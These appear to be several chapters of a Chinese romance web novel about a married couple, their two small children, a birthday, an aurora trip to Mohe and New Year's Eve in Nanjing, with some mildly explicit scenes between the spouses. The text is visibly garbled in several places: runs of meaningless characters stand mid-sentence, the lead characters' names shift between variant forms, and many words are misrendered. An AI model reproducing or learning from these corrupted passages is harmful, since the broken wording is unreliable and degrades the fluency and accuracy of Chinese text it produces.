言灣还在小摇篮里叼奶瓶的时候,圈圈就每晚扒着栏杆,小声地义正言辞告诉他:“我是你姐姐,你是我弟弟,你知道什么是弟弟吗? 言澧安静睁着黑漆漆的眼睛,不声不响望她。 圈圈掷地有声:“弟弟,就是仆人,你是我的小仆人知道吗! 刚进屋的陈蝉衣李潇:" 陈蝉衣好想把她嗲起来捏小肥脸,什么话,这说的什么话!李潇轻笑拉住她:“等会。就看见摇篮里,安静躺着的乖崽静静望看始姐,言灣的瞳色很黑很深,看人时总带看几分欲言难止的静他那双眼睛太像父亲了。有时候陈蝉衣抱他,多盯着他眼瞳看一会,就能幻视这是抱着缩小版老公。 沉默片刻,言澧轻轻收回视线,淡淡“嗯”了一声。 圈圈不满地嘟小嘴,这是答应了?他那么小一点点,能明白她意思嘛? 圈圈不太相信,于是后面又往摇篮这跑了几次。 事实证明,言澧的契约精神和他爹比,有过之而无不及。 他讲话太掷地有声了,有一句是一句。 自从答应做姐姐的“小仆人”,言澧十分尽职尽责。 最可气的是犯错也是。 圈圈真是没心没肺的小崽崽,活都让弟弟干,反正言澧是全家最听话的,让做什么做什么,顺从得不得了她犯错了都有言澧帮她瞒着。 之前李潇在京城的家里,重新养了福禄小树,养得特别好,陈蝉衣经常说:“你绝对有木灵根,不然怎么什么花啊树啊,到你手里都能活?"李潇笑了笑,继续给福禄小树埋土。 然而两周后,小树叶子掉了一半。 原因起先大家都不知道,那会儿正换季,偶尔掉叶子也正常,陈蝉衣和李就没往别的方面想。直到再过两周,越看越不对劲,福禄小树上叶子怎么越来越少?这就算了,可掉地上的叶子就几片,这也对不上号啊陈蝉衣怀圈圈的时候,李潇不是时刻都在家。这男人到了三十岁结婚,反而带出个很明显的毛病,就是控制欲强他总觉得他不在家,她一个人能出点什么事。 李潇辗转难眠,忍不住就给家里客厅安装了个摄像。 只是后来她平安生产,他慢慢也就不看录像了。 小夫妻俩对视一眼,想起这件事来,又把客厅录像带翻出来看,果然发现端倪。 原来是李圈圈大小姐造的孽啊! 崽不知道受什么刺激,本来趴在茶几写作业,写得好好的。后面扁扁嘴,又爬起来哒跑到她爹种的盆栽下面,一边揪叶子,一边托腮思考人生小树叶子揪得满地都是,陈蝉衣本来都想笑,感觉到身边男人臂膀线条紧了紧,赶紧把笑憋回去了。最离谱的是。圈圈稍微有点呆萌,自己揪完不知道毁尸灭迹,又翻个身滚去茶几趴着涂涂画画了。言澧那时候两岁,走路已经很稳当。他到客厅先愣了下,看了看地面,再看看厨房里在烧菜的爸妈,和摊成干巴鱼的姐姐。言澧沉默了大概有那么几秒钟。 最后他默默蹲下.身,小手把那些树叶子兜起来,那餐巾纸包好掩盖掉痕迹。言澧两岁的时候就很聪明了,懂得给地上留几片叶子,不让人起疑。他摇摇晃晃,把这些平静处理完,然后淡着一张小脸,假装无事发生地拿过茶几上的书,坐到姐姐身边看起来 李潇陈蝉衣:"…" 陈蝉衣实在忍不住了:“你也是小时候就这样了吗,爸爸?” 115、痛快想你 18 李潇凝眸转头,眼里浮出点点笑意,细碎温柔:“我小时候哪有这样。嗓音醇厚温和,是用一种哄人的语气。其实李漾没有说谎,他小时候性子比言澧孤僻很多。言澧好歹还有姐姐陪伴,可他那时候暮雨还没出生,整个家里,只有他一个人。“我阿爸是边防警察,常年不在家,我阿妈身体也不太好。我小的时候,哪有时间调皮捣蛋,要按时上下学,中午回去帮我阿妈择菜,晚上去接她。陈蝉衣愣了愣,压低声音:“去接她?她出门吗。”李潇淡淡嗯:“她去卖点东西,她手很巧,会做那种饰品,秋天偶尔也帮人家做柿饼。那里的柿饼确实很出名,陈蝉衣抿了抿唇。其实现在再看李潇,他脸上已经没有多少异样的情绪,只是这种生活,他勉强维持,一定很难过。 陈蝉衣轻声说:“我也想吃柿饼,我记得你家院子里就有柿子树。"李潇一怔,旋即笑了:“行啊,今年回去摘柿子。他村子上的路已经修好了,全铺了水泥,可以行车,村里人出行也再不会那样不方便。是李潇出了钱的。那时候陈蝉衣刚怀小孩,他其实挺担心的,他平时话少,可是心里忧虑并不比任何丈夫少 思来想去,他没办法。 最后开始想着做点善事,捐钱修路,他淡着一张脸,默默替孩子积福 原本国家对他们这些人的故乡就会额外关注,他上报备案,很顺利就通过了。 后来圈圈平安生下来,他才算松了一口气。 陈蝉衣没再去过他广西那个家,李也不常提起,可那毕竟是他曾经生活过的地方,也是他父亲留下为数不多的记忆。 他知道那个家很贫苦,墙壁地面,总是泛着雨季潮湿的黏腻,雨夜睡在床上,能听见雨棚铁皮的噼啪声响。 可他还是希望她能不介意的。 她主动提出来要回去吃柿子,他其实心里很高兴。 书房前传来声响,陈蝉衣抬眸。 崽崽踮起脚尖推开了门。 李潇记起来女儿做坏事了,吊起眉梢,也不吭声。圈圈这方面偏迟钝,咧着嘴哒哒跑过来,眼睛亮晶晶:“趴趴。 也不知道是不是喊习惯了,改不过来,圈圈现在喊爸爸,还是会下意识喊成“趴趴”。 李潇也认命了,不纠正小崽的口音了。 “嗯,宝宝,怎么了。 崽崽挤进来黏着他大腿,手上摸着发绳,指指一侧披下来的头发。 她稍微有点左撇子,虽然臭美,但是扎左边头发还好,扎右边就扎不起来。 以前都是李潇帮她扎。 陈蝉衣虽然是亲娘,可是她平时也不怎样扎头发,对小女孩的漂亮发型一窍不通。她爹就不同了,李潇自从心心念念决定养女儿,特别认真,小女孩的发型学了好多个。崽崽就喜欢黏着他让他扎头发。李潇隔三差五还会买漂亮的小发圈,发夹,尤其是知道崽患喜欢亮晶晶小宝石之后,他开始专挑贵的买。崽崽没有半点底线,现在她眼里,她爹全世界最好。陈蝉衣还默默扯他衣服吐槽过:“太坏了,太心机了,你就是故意让崽崽黏你。李潇笑而不语。崽崽大声说:“扎头发!"李潇就把她抱到腿上来,五指慢慢顺着她细软的发。 思思母到攻的候,别会自己掀心快坏,大眼暗马溜溜有助力 她最喜欢这种时刻,因为舒服,所以心情放空。 陈蝉衣支着下巴,有点好笑,看这男人不声不响给女儿扎头发,过多久才会开始训人. 事实上没过多久。 李潇顺了没几下,忽然说:“宝宝。 “嗯?”崽漫不经心回了一句。 李潇说:“爸爸跟你说个事哦。 "安。 “你知道爸爸在家里客厅种的小树吗?就是上面挂牌牌那个,福禄小树。 “知道呀。” “最近你有碰过它吗?” 崽揪衣服的小手停顿了一下,应该是想起来自己做的坏事了,小脸一皱,磕巴地小小声说:“没,没有呀。" 李潇点点头:“嗯,爸爸和你说哦,那个小树最近开始招虫子,掉叶子了,爸爸给它喷了去小虫子的药,你不要去碰哦。 崽崽娇气得很,最怕小虫子,但是现在更怕爸爸说的话:“要是碰,碰了的话,会怎么样呀。 小奶音细细的,还有点颤抖。 李淡淡说:“也不会怎么样,那个药都会把小虫子杀掉,惠患去碰的话,小手也会坏掉的。 崽吓呆了,大大的眼睛惊恐看着她爹,像是完全不能理解这句话的含义。 那张白皙小脸布满了恐惧,愣了两秒,突然“哇”一声哭了:“趴趴!" 李潇还是挺淡定,安静看着她:“嗯,怎么了小宝。 崽崽头发也不想扎了,大眼睛很快浮满泪水,扭过身手脚并用,紧紧抱住了她爹。 泪水涟涟,啪嗒啪嗒往下掉:“趴趴,我的手手。” 李挑眉:“嗯。" 崽崽哗啦啦哭:“我去摘小叶子了,我的手手是不是要烂掉了。”她想象了一下那个场景,她从前看过人家没有手的。 崽崽想象力惊人丰富,很快就联想到自己,她会不会也慢慢地一点点开始掉肉,手腕一点点脱落,最后彻底没有手了。 李潇低眸看小崽哭,面容波澜不兴,也没什么语气:“呀,那崽崽要怎么办呢。" 崽崽哭懵了,小手抹眼泪,后面一愣,低头看小手。 大概是想起来手上有“毒”,担心眼睛也坏掉,不敢抹了,只能崩溃地把小脸往李怀里一埋,哇哇大哭:“趴趴,圈圈要完蛋了!" 陈蝉衣险些心里笑死。 李潇有时候也蛮幼稚的,跟小孩没两样。 但是崽崽也小,讲道理是讲不通的,就需要小孩子的沟通方式。 李潇看陈蝉衣一眼,估计也觉得好笑。 他转向崽崽:“为什么圈圈要完蛋了,圈圈不是没去碰吗?" 崽崽呜啦呜啦:“碰了!圈圈去揪叶子了!" “为什么要揪叶子呢?" “不知道。”崽崽红着眼圈,“就是,揪着玩。 “揪着玩啊。 "嗯!" “那之前上幼儿园,同班那个小男生揪你头发,圈圈痛吗? 崽崽哭着点头:“痛。” “那你揪小树,小树痛吗?” 惠义朋溃了: 吗限 李潇心想差不多了,这时候才拍拍崽的屁股,温声说:“你看,你也知道不太好,以后不要揪小树叶子了哦。 毕竟他养棵树也蛮不容易的。 崽崽泪花闪闪点头:“以后再也不了,可是圈圈的手怎么办!" 李说:“你去和小树道个歉,爸爸想想办法。 圈圈爬下他大腿,自己跑去和小树道歉了。 李潇问陈蝉衣要了个闲置的分装瓶,把自来水灌进去,贴上个标签。 崽崽道歉完回来。 他装模作样,把崽崽小手喷了一遍:“嗯,现在没事了。” 崽还有点不相信,红着大眼睛:“真的吗?" 李潇特别淡定颔首:“嗯。 崽扁着嘴巴,低头看看白己小手。 她还是挺相信她爹的,李潇在家几乎没脾气,可是很说一不二,宠女儿,却也莫名让人敬畏。 崽看上去被捧在手心里。 “其实被你吃的死死的。”陈蝉衣评价。 李潇低眉笑了笑。 圈圈白从上次事情后,乖了很长一段时间。 十二月的时候,京城下了很大一场雪,北海公园结冰了,圈圈想去溜冰, 那时候快到李潇生日了。 陈蝉衣其实没给他过过几次生日。 学生时代,有印象的生日,好像只有那一次。 后来分手,他们没能等到他过生日,就又再次分开了。 圈圈现在四岁,她陪他过的生日,也不过就只有五年。 今年是第六年。 很难相信,他们在一起互相惦记这十几年光阴,在一起过生日的次数,却屈指可数。 因此每次陈蝉衣给他过生日都很珍惜。 十二月雪下了几天,李照例清晨去研所上班,陈蝉衣安顿好两个小孩,下楼去送他。 李潇愣了愣,没想到她跟下来:“外面挺冷的,怎么出来了。 陈蝉衣挽着他胳膊:“想跟你商量,今年生日想怎么过?" 路上积雪已经堆起来,铲在路边像小士堆。 京城的冬日很冷,却也很热闹,这会整座城市早已醒了,小区变得喧吵闹起来。 李潇轻轻揽住她,让她走在里面:“你想怎么过?" 他笑了笑。 陈蝉衣嘟囔:“不是你生日吗,你提建议咯。" 李潇唇边弧度微弯,家里离研所本就不远,雪下得厚,他不想开车,索性走路去了。 “可是我也没什么想法。”男人微笑,很诚实说, “不想折腾的话,待在家里也很好,我们可以陪孩子看电影。 他估计就是想待在家里吧,无趣的男人。 陈蝉衣踮脚,蹭蹭男人的肩膀。 穿着大衣,他胸膛有厚呢微硬的触感,如同秋日沙沙的梧桐叶。 雪从伞下飘进来,白色揉了一点。 在他眉眼,发间。 她看呆片刻,忽然小声感慨说:“一点也不公平,为什么你长着一张看上去不会老的脸?" 李潇很好笑:“你这是夸我还是骂我?" 是夸他好看,还是说他老? 陈蝉衣吐了吐舌头:“当然是觉得你好看嘛。 “那生日怎么说。 还能怎么说,陈蝉衣想了想:“在家里也可以,我去订蛋糕,哦,还有,我也想订那种花,我还要铺灯带。 李潇回神:“嗯?什么花。" “就是之前你七夕订的,从那什么…运过来的玫瑰呀。” 他笑:“厄瓜多尔,宝宝。 陈蝉衣红着脸:“哦哦。 该说不说,她老公虽然这方面,比一般男人缺乏浪漫细胞很多,可是有一点好处,就是肯学。 七夕的时候,他也不知道从哪家借鉴的,居然在家铺玫瑰,还是空运过来的新鲜花束。 来自炎热南美洲。 冰蓝,莓粉.….成百上千朵玫瑰,把她吓了一大跳。 她心性还像个小姑娘,当然很喜欢这种东西,当场就呆住了。后面他讲了什么,做了什么,她都被迷得晕晕乎乎不知道,被他抱上床也就随他去了。事后李潇撑起身体,叹息摸摸她脸颊:“小宝,这么好骗可不好。”她羞恼地蒙着被子不理他。 李漾忍住笑:“你确定要铺玫瑰吗?七夕的时候,患崽们都不在,现在他们都在家,你要让他们看吗? 看爸妈热恋? 这种教育方式能行吗。 然而陈蝉衣停下脚步,很奇怪抬头看他:“谁说他们在啦?今年过生,只有我在。他们都送外公家,一个都不准留。 116、痛快想你 19 李潇显然也愣在那里,没想到她这么说,脚步停顿几息,旋即低下头,沉沉笑了。“笑什么。”七夕那种羞恼的情绪,好像又浮上来了。他笑騒绌著闟孔沅玑吸摇躚聱恸飏灼徂壞逼咸珹材懾狝蹭卄爷头。他是个非常尽责的父亲,在家里教孩子习字阅读,总是花费更多时间,不过同样的,他也是个丈夫,妻子的情绪也要顾及。李潇觉得好笑,只是想不到,他的小妻子现在有点不满了,觉得孩子占据他的时间, 有些多了。李潇捏住她手腕,轻轻摩挲: “好,把他们送南京去。我给崽崽幼儿园请个假,反正她也摆烂,不想上幼儿园。许珈毓前段时间,和自家老公来京城有事要忙,把自己家城朝也带过来了。城朝现在,已经有了点像他爹一样沉稳的感觉,不再是那个上幼儿园安慰同组女同学,只会抓只蝴蝶的幼稚小屁孩,他来京城,给圈圈妹妹带了小礼物,是条非常漂亮(重点是非常闪)的吊坠项链。 圈圈好喜欢,她就喜欢这种浮夸的东西。 导致她从此以后,老围着城朝转。 哥哥长, 哥哥短。 陈蝉衣真是没话讲,忍不住探探女儿口风:“患,你究竟是想跟小江哥哥玩,还是就是说,那个,单纯喜欢人家送的小链子?" 崽正在对着镜子臭美。 闻言,自己也懵了好几秒。 圈圈转过身凑近,神秘兮兮地压低声音:“妈妈,你说小江哥哥会一直有钱吗? 陈蝉衣:".崽崽人生规划很明确,惊恐道:“不行的,我吃不了那种苦,如果万一,他会破产,不行的!陈蝉衣简直想捂脸:“你这样说,小江哥哥会伤心的吧?"毕竟城朝对圈圈还挺好的,每次见面都会带礼物。反而是圈圈。 人家送她这个那个,陈蝉衣提醒她,要礼尚往来。 崽想了想,从自家花圃随意揪了朵花:“好吧,送你。 人家也没说什么,默默收了。 陈蝉衣觉得崽咋这样! 可是崽也有道理:“伤心,这就伤心了?"圈圈很惊奇地抬起脑袋,瞪大眼睛:“那他还是不够有钱,真正的有钱人,不会我随便说两句就破防的。" 李潇全程笑得支着额头,他看妻子实在无法沟通了,勾勾手指,把崽崽抱到怀里,低眸,故意说:“这项链一点也不好,还没爸爸送你的好。圈圈年纪还小,暂时分辨不了宝石品质,只能看懂它亮品晶的,她就喜欢这种闪闪的东西。崽窝在爸爸怀里,懵懂拧着眉头:“是吗?"边言澧也点了点头。崽立刻道心坚定,项链一丢:“我就知道,他家没我家有钱,哼,不配和我说话!"李潇满意了,从大衣内袋摸出个黑丝绒小盒子,打开,里面是条手链,流光溢彩:“这是崽崽今年冬天的礼物。 圈圈毕竟年纪小,好骗,而且注意力不集中。 很快她就把小江哥哥抛之脑后,浑身的注意力,都被爸爸手里那条更亮更闪的手链夺去了。 李潇趁机说:“所有男人里,是不是爸爸最好?"言澧很配合:“爸爸最好。" 圈圈疯狂点头:“嗯嗯!" 陈蝉衣真是无话可说,两个崽看不到的地方,狠狠掐了李一把。 真是个占有欲好强,好会吃醋的爹。 现在想想这件事,陈蝉衣哼哼道:“你不是想把崽送去南京,你是不想她跟她小江哥哥待一块吧。 李潇别开眼:“我没有。 他还没有呢,她能不知道他?陈蝉衣戳戳他腰:“小心眼的爸爸。”走到研所门口,晨光已经把街道映得亮堂,李弯和她亲吻:“我去上班了。 那个十二月,两个孩子难得不在家,陈蝉衣抽出时间,收拾了孩子的衣物玩具,打包送去了南京。舒家更热闹了,舒羡之喜欢小孩,舒世杰也疼小辈,患崽每晚打电话,都会很骄傲说:“他们都不想让圈圈走。陈蝉衣心想,挺好的,你爹也不是那么想让你回来。李潇除了晚上陪两个孩子打通电话,问问情况,其余时间,都在陪她,他清楚地意识到他是丈夫了。从前孩子在,很多事不能说甚至不能做,如今孩子看不见了。他那些刻意压抑的,隐藏的,伪装的面貌,就像是破土而出深埋地下的熔岩,滚烫缓慢地流淌出来。他的三十五岁生日,那个横亘在每个十年中的半整,没有遗憾,没有残缺,是和她一起度过的。他们晚上看一部温情电影,窝在卧室床上,房间安装投影,灯灭了,只有幕布荧屏散发着幽暗的光。陈蝉衣窝在他怀中,抱着他紧实的胳膊,曲着膝盖,以一种全然依偎信赖的姿势,她还是和从前一样,看电影喜欢说悄悄话,喜欢和他低声讨论情节。就像出租屋每个夜晚,她讨论尼莫能不能找到回家的路,她夸霸王龙虽然很帅,但她其实更喜欢迅猛龙小姐布鲁.…….可爱的,幼难的,依赖他的恋人,现在是他妻子,孩子的母亲。李潇沉默片刻,忽然说:“好像今年这个生日,和每个普通的晚上都没有不同。"陈蝉衣正看得津津有味,没想到他这么说,凝眸抬头看他:“嗯?是不是不够惊喜?还是不够浪漫啊。他觉得这个过生不好吗? 李潇摇了摇头:“没有,很好,这样就是最好,我有没有和你说,我最想过什么样的生活?"他说过的,在不记得是她初次怀孕,还是什么时候,可能只是很偶然的一天,他告诉她,现在生活得很幸福,因为平静无波,他安定,踏实,所以喜欢。陈蝉衣领首:“嗯。 李潇视线又转向屏幕:“我就是喜欢这种日子,每天都是很营通的一天,每天看起来,都好像和前一天全然没有区别。生活平稳向前,不会有意外,不会越轨,只要我安安静静把服前的道路走完。 所以每次过生,她问他,有没有什么想法,他都说没有。是真的没有,他不想折腾,有她在身边,每天都和过生一样,真到了过生那天,他在日复一日的平稳里,觉得幸福“以至于唯一要担心的,就是这种我认为的平静安稳的日子,你会不会觉得太单调乏味?" 陈蝉衣看他:“现在不会还在担心吧,爸爸?"李漾弯唇:“说实话,偶尔确实会有。”顿了顿,他低眸看回来,“但是怎么办呢,你让让我吧。 陈蝉衣笑起来。她笑得干净而潋滟,李潇喉咙滚了滚,扯过被子,把她压在身下。他动作略微强硬,垂首闭上眼睛,吻了吻她嘴唇:“我好想你。那里很快濡湿。他们晚上喝了点酒,浓度不太高的果酒,只是为了微醺,不是真的想醉。可床边狼藉的酒瓶散落一地,李潇撑在床头,像是已经醉醺醺:“猜猜我今天看到了谁。声音是含着沙哑醉意的磁沉,他睡衣襟口有些凌乱,半副身体重量压在她身上。刻意的,她觉得他随时有勃发的危险,不敢动,任他随便亲吻,带着点微微怨气陈蝉衣又不是傻子,李潇不是不吃醋,可酸成这样,还能是谁:“我不想猜。 “不许。”他惩罚性咬了咬她唇,“猜猜。 陈蝉衣还是坚持,别过脑袋:“不猜,陷阱,说了你又要生气。多大人了,他在这方面吃醋吃得还不如男大学生,幼稚,太幼稚了她不肯配合他,李微微不满地去咬她:“那你安慰我。他不退,却也不更进一步,撑在身体两侧的姿势维持了许久,李潇吻着她耳麻,她耳垂很薄,他喜欢咬那一块,带着点他意识不到的发泄,又很缠绵:“安慰我,我们结婚了,你不能明知道我有心病,还折磨我。陈蝉衣面无表情:“我哪有折磨你。他觉得她这话不好听,堵住她:“就是折磨,我比不过他,你家里人都喜欢他,不喜欢我,现在你也不说我好,你不能这样。他能为你做什么,我难道不能给你做?如果不是场合不对,陈蝉衣绝对要笑出声。她真的快无语了,他喝醉了,绝对是醉了,要不就是借酒装疯。心里面一点点醋,发出来又觉得小心眼,不发又心里难受。他多聪明多厉害,想半天,好不容易,被他找着这么个契机。他还委屈,他半是强硬半是哄,骗着和她孩子都有两个了,他委屈什么? 陈蝉衣故意说:“那你能做什么?" 这个回答,怎么感觉和想象中不一样?李潇抿唇,漆黑的眼睛深沉看着她,他掌根摁着她肩膀,拨开发丝,让她露出整张脸庞“你躲我问题,就是帮他说话,我好生气。“生气什么。“你不能这样。 他又低头,吻细细落在她眼皮,李潇一动不动,盯着身下人婚然的容颜,他微微扯唇闷声说:“你得安慰我,所有人都帮着他,你得帮我,我是你丈夫,可是你回避我,那我也就算不了什么,你不能这样对我。 他说得言辞恳切,要不是陈蝉衣见过无数次他在外面,是怎么处理事务雷厉风行,回到家即使面对她和颜悦色,可到了床上,那种强制贪梦的形象,又暴露无遗。 她可能真信了这通鬼话。 陈蝉衣拾手,捏住他下巴:“那你要怎么样,怎么安慰。"声音温温柔柔,她咬了咬唇,其实她有点猜到他想做什么。李潇沉默了几息。果然,片刻的停顿,她就看见男人滚了滚喉结,眼瞳里很缓慢地散出幽暗的,难以琢磨的微光:“你说呢? 117、痛快想你 20 那个十二月份的生日,她过得纯粹又折磨。她像是水,变成漏漏溪流,整个人蜷缩在床铺上,他嘴唇烙印在身上,夜后男人冒出浅浅的胡茬,蹭在皮肤上,是一种很隐秘的折磨。 陈蝉衣半阖着眼,他退出去的时候,又忍不住勾回他,小声地,很细微地喘着气:“其实,我发现半夜这个,很爽。 他闷笑:“嗯?"她羞着脸,颊上漫出一种水色的爆红:“会长出点胡茬,硬硬的。”磨的话,真的很爽。他抵着她额头笑起来,重新挤进来。那年冬天,京城的雪像是下不完。李潇带她去了漠河,他和她说曾经在北极圈的海上,看过极光。临近年关,不方便申请出国的签证,陈蝉衣也想看极光,看他看过的风景,李潇就带她去漠河,最北端下雪的村庄,他陪她滑雪,陈蝉衣不会滑,可是出来玩就很开心,自己团个雪球,往雪道上砸砸,也很高兴,玩得不亦乐乎。 他膝盖其实不适合在雪场久待。 可他不说,不想扫她的兴,只是行动不便时,就默默退开,站在那里。 她像个小孩,开心得咯咯直笑。 偶尔有雪球越轨,朝她砸过来。 李潇不声不响,拿桶里的飞盘迎上去,雪球在半空被打散,她发无伤,他总是这样,始终都是默默陪在她身边。见到极光的那个夜晚,格外得冷,她兴致勃勃,很早查了那天的天气KP值,那天很冷,将近零下四十度,他准备了暖宝宝,给她裏得暖暖的出门的时候,他给她穿羊绒袜子和小短靴。陈蝉衣足尖踢了踢男人硬邦邦的胸膛,她还是喜欢这样撒娇,李握住她脚踝,慢慢摩挲:“嗯?" 陈蝉衣说:“你说我们晚上能看见极光吗?" 他笑:“嗯,能的,宝宝运气很好的。" 她就℅輊珙狐製易起来。 李潇没带她报向导,自己开车带她去追。他在北极圈呆久了,极光见过许多次,或许比这里的向导还要专业些。 他来时做了很多攻略,其实心里也有些紧张,极光这样的东西,在河也不算常见,他在挪威常见,却不能保证她在漠河,就一定能看上。 她满怀新奇温柔,他不想让她失望。 可或许真的是老天眷顾,那天开车没多久,路过一片桦树林,他停下车。 车窗外,先是能看到一弯盈盈的月亮,再是几颗晦暗的星。 天边是一点一点亮起来的,最初,那道绿色的光芒很微弱,只有些淡淡的青,盘旋横亘在天幕中。紧接着,仿佛天幕裂开,被碧绿的水钻透。 那道“之”字型的光芒,愈发耀眼,愈发迷人。 李潇仰头片刻,忽然侧眸看她。她亮着眼睛,眸里闪着欢愉喜悦的光芒。她身边似乎总是这样,永远有着静谧令人安心的氛围,他在她身边,想回到她身边,很多年回想,或许就是贪恋这一点点温馨的岁月。感激加感激于她温馨的岁月。即使得一刻永恒哪里会磨灭。许是察觉到那道沉默的目光,陈蝉衣抬头,看他好久:“你看着我干嘛呀?"她裹了厚厚的围巾,声音也被蒙在厚实的布料里,听不真切。李潇却心脏微微鼓动,他抿了抿唇,摇头,继续沉默看她片刻,忽然摸着她手腕将她扯入怀中,闭上眼睛堵住了她嘴唇。隔着羊绒围巾的,灼热湿润的吻。他就这么静静停滞许久,直到雪花开始飘起来,天边的极光变幻成其他形状。薄薄的,细细的雪。李潇半是感慨澎湃,半是叹息道:“就是觉得,好喜欢你。” 好喜欢她。 好爱她。 连他自己也不明白,为什么会这么爱。 年三十前两晚,他们终于匆匆忙忙赶回南京。 本来李潇带她从漠河回来,是还去了趟北戴河的,他人生中,就去过一次北戴河,就是高二那年十一月,她回了京城,说害怕,和他连麦打电话,他模期笑着哄她睡觉 那时候他不知道她是和郑容微一起,后来知道了,醋得不行,直接把机票,从哈尔滨改到秦皇岛,京城都不想回。 陈蝉衣觉得她老公真吓人:“好醋,好强烈的嫉妒心,你就是不想我有除了你之外,关于别的男人的记忆。" 李潇不承认:“我没有。 “那现在改签回去,不去北戴河了。” 男人抿了抿唇,难得露出一点委屈的神情:“不要。"他别开眼,低声说,“那别人可以,关于他就不行。 她气乐了,好吧好吧,他说不行那就不行吧,谁让她心地善良,老是觉得他怪可怜的。 不过北戴河温泉泡着真的很舒服,李潇非要订她曾经住过的那一间,除了温泉,其余时间,每日每夜摁着她在床上,他去亲她,舔舐她,低着嗓子说:"当时就想对你这样。 陈蝉衣晕晕乎乎,很半天才想明白,他说的这个“当时”,究竟是什么时候。 她被折腾得没力气,虚弱瞪他一眼:“变态,未成年就惦记小女生。" 他把她掰过来,低低道:“小宝,我上学早一年,十一月末,离我成年没几天。 “那也是未成年,变态,大坏蛋。" 他也被气笑了,在她秀气的肩膀留下个牙印:“不许说了,转过去。” 结果就导致,回家过年晚了。 圈圈本来在南京待得挺开心的,不过毕竟年龄小,平时和李潇待在一起的时间也更长。比起舒羡之和殷春梅,她还是更想黏着爸爸 然而她舅舅舒喻说:“小宝,你爹在陪着你妈咪旅游呢。” 崽崽听得懂旅游,就是出去玩。 她在喝奶,睁着大大的眼睛,奶声奶气说:“那为什么不带圈圈玩?" 舒喻就喜欢逗小女孩,甭管是谁家的小女孩。 他挺欠地说:“那谁知道,估计是因为你爹你娘,想要个新的宝宝了吧。 圈圈更懵了,眼眶一红,丢掉奶瓶就爬下床,噔噔噔跑到小背包那边,翻出李给她买的小手机。 拨通电话,哭得叽哩哇啦:“趴趴!圈圈想你!你不要圈圈了吗!“ 彼时正在和妻子泡温泉的李潇:“.” 他稍微难得,多了些对女儿的愧疚,男人清了清嗓子:“爸爸过两天就回来了,小宝在家乖乖的哦。圈圈眼泪转啊转:“舅舅说,你和妈要给圈圈添新的弟弟妹妹了。“顿了顿,她崩溃:“我们家家产分给圈圈的又要少了!" 李潇:“"…”原来担心的是这个啊。陈蝉衣一把将电话夺过去:“别听你舅瞎扯,没添新的弟弟妹妹,而且,再说了,你觉得言澧会和你争吗?"崽开得免提,言澧正好在旁边听,闻言摇摇头平静道:“都是姐姐的。"圈圈很感动地看一眼弟弟,她的小仆人,呜呜弟弟真好,和爸爸一样好,什么都让着她。但是圈圈还是不高兴,她重新捏紧电话:“不行,你们快回来,圈圈想你们了!"李潇龙女儿向来没什么底线,万般无奈,只得提前退了房,买当晚的机票就风尘仆仆赶回来了。 圈圈大晚上都没睡,就等着爸爸妈妈回来。 尽管很困,可是一见到李潇,高兴得瞌睡都没了,迈着小短腿跑过去,搂着李脖颈亲了一口:“趴趴!’ 李潇温和笑着,摸了摸女儿香软的发:“宝宝,想爸爸吗。” 李溁弯唇,把女儿抱进去,和舒家人打过招呼,抱着她往楼上走。舒羡之给两个崽收拾出了新的房间,言澧不要人抱,牵着陈蝉衣的手,自己慢腾腾走,圈圈撒娇,要李潇给她脱袜子。 陈蝉衣之前就说过他,圈圈娇气,尤其是对着她爹,更是娇气得不行。天气一冷,去上学,她想赖床多睡会儿懒觉,就支使李潇给她穿袜子脱袜子李潇已经习惯了,任劳任怨做女儿奴,在这条康庄大道上走得非常义无反顾。他给女儿脱掉袜子,塞进被窝,两个小崽一起睡的,言澧自己已经爬进被窝了,裹着被角等姐姐,李潇说:“给你们带了纪念品。是当地特色的小雕刻。 崽崽们其实很喜欢这种手工艺品,他从挪威带回来的那套,已经快被崽崽们盘烂了。李觉得好笑,又自己雕过几个,奈何不是专业的,手艺不够细巧。 女儿眼光高,有点嫌弃。 也就儿子体谅他,虽然对玩具的兴趣浓度,没小女孩那么高,但还是表现出很喜欢的样子。 李潇原本,确实更疼女儿多些。不过言澧实在太小大人了,让他省心又窝心,他才不会在这上面计较呢,家里都宠姐姐,他也宠姐姐。陈蝉衣说:“反正在儿子眼里,他姐估计才是小孩,他才懒得说呢,跟小孩有什么好争的。”都不知道是夸圈圈,还是说圈圈幼稚。和小狗狗一样,顺个毛的事。 李潇笑了:“骂的好脏啊。 可是女儿的确就是这样的性格。 她活泼,好动,却又在他面前意外得听话,乖巧。李潇从前想养女儿,就是决定把爱都给她,他想把她当真的千金小姐养,不会像他的妻子那样,承受家庭的压力。这样看着女儿那双,和妻子一样温柔似水的眼睛,他会有一种,其实也有把小时候的妻子,好好养过一遍的错觉 那年南京依旧很冷,年三十的夜晚,天空细细下着薄雪。 他们吃过年夜饭,他牵着她手,在院子里给小崽崽们拿烟花棒玩。 那些雪片纷飞,模糊温柔了他的眉眼,除夕夜的钟声过去,天空绽放大片绚烂的烟火。万家灯火,陈蝉衣望着半空升起的火焰,想起曾经他离开时的那些除夕夜。她说:“你知道吗,第一年你走的时候,除夕,我曾经去梦溪路的老房子里找过你。"李潇微微一愣:“找我。" 陈蝉衣温柔地笑,望着他的眼睛柔软:“嗯,因为好想你,那年南京也下了这样的雪,你知不知道我当时的愿望?"想到这里,她像是觉得好笑,低牌,羞法地弯了弯餐角:“就是想见你、很奇怪是不是,明明知道你不在了,在离我很远的地方,可是我却还是放不下,好想你,好想见你,那时候准一的原望,就是能再见你一面,和你过一个安安静静的新 年。 她说得缓慢而轻声,带着浅浅的哑意,烟火的光,触碰在她脸颊和指尖。 李潇停住呼吸,无声盯着眼前清瘦婉约的人影。 他觉得心脏震了又震,震得手也发麻,连指尖都泛着微微的苍白。 他无声垂下眼。 烟火散开重善,炸在天幕,又像沉入水里。他抬手,拇指落在她侧脸,抚了抚她依然柔软的肌肤,就像当年每一次,抚摸她跳动的心口。他轻声说:“以后这个愿望,每年都会实现。” 不管夜色还有多深,距离能有多远。 今后除夕夜。 都有他在身边。 【故事细腻·完】 118、01 爱在过境 “所以你真不喜欢陆承风?" 